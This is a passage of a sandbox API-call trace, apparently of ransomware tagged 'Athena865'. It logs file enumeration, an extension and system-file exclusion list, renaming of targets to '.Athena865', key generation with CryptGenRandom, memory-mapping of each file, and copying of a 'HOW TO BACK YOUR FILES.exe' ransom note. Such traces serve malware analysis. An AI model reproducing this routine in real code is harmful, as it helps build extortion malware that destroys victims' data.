szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.356] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.356] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.361] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x91adace0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x91adace0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x91c0b7e0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", cAlternateFileName="{DBAB6~1")) returned 1 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.361] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo" | out: lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo") returned="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo" [0100.361] lstrlenW (lpString="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo") returned 56 [0100.361] lstrlenW (lpString="Athena865") returned 9 [0100.361] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.361] lstrlenW (lpString=".dll") returned 4 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.361] lstrlenW (lpString=".lnk") returned 4 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.361] lstrlenW (lpString=".ini") returned 4 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.361] lstrlenW (lpString=".sys") returned 4 [0100.361] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.361] lstrlenW (lpString="{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo") returned 56 [0100.361] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo.Athena865") returned 113 [0100.361] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.362] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.362] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.362] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.363] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.363] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.363] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.365] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.368] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.368] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.368] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.369] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9c070740, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x9c070740, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x9c1a1240, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", cAlternateFileName="{DBAB6~2")) returned 1 [0100.369] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.369] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.369] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo" | out: lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo") returned="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo" [0100.369] lstrlenW (lpString="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo") returned 56 [0100.369] lstrlenW (lpString="Athena865") returned 9 [0100.369] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.369] lstrlenW (lpString=".dll") returned 4 [0100.369] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.370] lstrlenW (lpString=".lnk") returned 4 [0100.370] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.370] lstrlenW (lpString=".ini") returned 4 [0100.370] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.370] lstrlenW (lpString=".sys") returned 4 [0100.370] lstrcmpiW (lpString1="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.370] lstrlenW (lpString="{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo") returned 56 [0100.370] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo.Athena865") returned 113 [0100.370] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.371] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{DBAB67DA-647A-401E-A02B-58C06249C638}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{dbab67da-647a-401e-a02b-58c06249c638}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.371] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.371] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.371] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.371] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.372] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.375] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.376] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.376] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.377] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6321b00, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0x6321b00, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0x63ba080, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", cAlternateFileName="{EE224~1")) returned 1 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.377] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo" | out: lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo") returned="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo" [0100.377] lstrlenW (lpString="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo") returned 56 [0100.377] lstrlenW (lpString="Athena865") returned 9 [0100.377] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.377] lstrlenW (lpString=".dll") returned 4 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.377] lstrlenW (lpString=".lnk") returned 4 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.377] lstrlenW (lpString=".ini") returned 4 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.377] lstrlenW (lpString=".sys") returned 4 [0100.377] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.377] lstrlenW (lpString="{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo") returned 56 [0100.377] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo.Athena865") returned 113 [0100.378] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.378] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.378] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.378] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.379] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.379] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.379] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.381] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.386] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.387] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.387] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.388] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcc04460, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0xcc04460, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0xcd34f60, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", cAlternateFileName="{EE224~2")) returned 1 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.388] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo" | out: lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo") returned="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo" [0100.388] lstrlenW (lpString="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo") returned 56 [0100.388] lstrlenW (lpString="Athena865") returned 9 [0100.388] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.388] lstrlenW (lpString=".dll") returned 4 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.388] lstrlenW (lpString=".lnk") returned 4 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.388] lstrlenW (lpString=".ini") returned 4 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.388] lstrlenW (lpString=".sys") returned 4 [0100.388] lstrcmpiW (lpString1="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.388] lstrlenW (lpString="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo") returned 56 [0100.388] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo.Athena865") returned 113 [0100.388] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.389] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{ee224d27-954d-4040-87c6-066b5517487c}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.389] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.389] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.390] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.390] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.390] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.393] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.393] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.394] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.394] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.395] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcc04460, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0xcc04460, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0xcd34f60, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{EE224D27-954D-4040-87C6-066B5517487C}_WindowsUpdateInfo", cAlternateFileName="{EE224~2")) returned 0 [0100.395] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.395] ReleaseMutex (hMutex=0xec) returned 1 [0100.395] CloseHandle (hObject=0xec) returned 1 [0100.395] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0100.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516528 | out: hHeap=0x4f0000) returned 1 [0100.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c248 | out: hHeap=0x4f0000) returned 1 [0100.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 37 [0100.395] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4C7408BA44F6A3572289A696C2A5A105") returned 0xec [0100.395] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.395] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0100.395] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.395] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.396] GetLastError () returned 0x0 [0100.396] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.396] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.397] CloseHandle (hObject=0xf4) returned 1 [0100.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.397] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.397] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.397] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.397] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.397] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.397] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.397] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.397] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.397] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.397] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcdc5680, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcdc5680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.397] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.398] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6219160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6219160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2=".") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="..") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="windows") returned -1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="bootmgr") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="temp") returned -1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="pagefile.sys") returned -1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="boot") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="ids.txt") returned 1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="ntuser.dat") returned -1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="perflogs") returned -1 [0100.398] lstrcmpiW (lpString1="Local", lpString2="MSBuild") returned -1 [0100.398] lstrlenW (lpString="Local") returned 5 [0100.398] lstrcpyW (in: lpString1=0x241e894, lpString2="Local" | out: lpString1="Local") returned="Local" [0100.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c248 [0100.398] 